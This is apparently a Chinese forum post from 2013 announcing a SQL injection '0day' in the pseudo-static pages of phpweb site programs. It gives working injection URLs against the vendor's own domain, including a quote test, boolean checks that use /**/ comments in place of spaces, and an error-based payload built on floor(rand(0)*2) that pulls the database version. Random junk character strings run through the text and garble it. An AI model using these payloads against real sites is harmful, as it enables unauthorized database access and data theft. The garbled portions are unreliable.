phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
3 F% w8 C' k3 o5 ]  ^3 s7 G
主站：http://phpweb.net/
" B: D; @, B3 r% g9 B加’检测：
9 O# Q6 v% X5 [' d$ D" @" O
( h6 l$ m; Z6 S& P8 c$ W3 ohttp://www.phpweb.net/down/html/?772′.html
0 G! ~3 n" r0 m5 H
* ]- Y$ p4 ]% m; K7 f/ L/ N出错
存在注入。
不能用空格，只能用/*罗
  {* {2 _& k# a7 hhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
& Y5 ]& q3 @: }5 p
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
0 v" o) @8 i  a: A8 H  o$ T& X8 Y爆数据库版本：

?
1
! ?  ~  a. C' m1 s" e) ?4 whttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
/ ?1 W3 s9 M* Q' C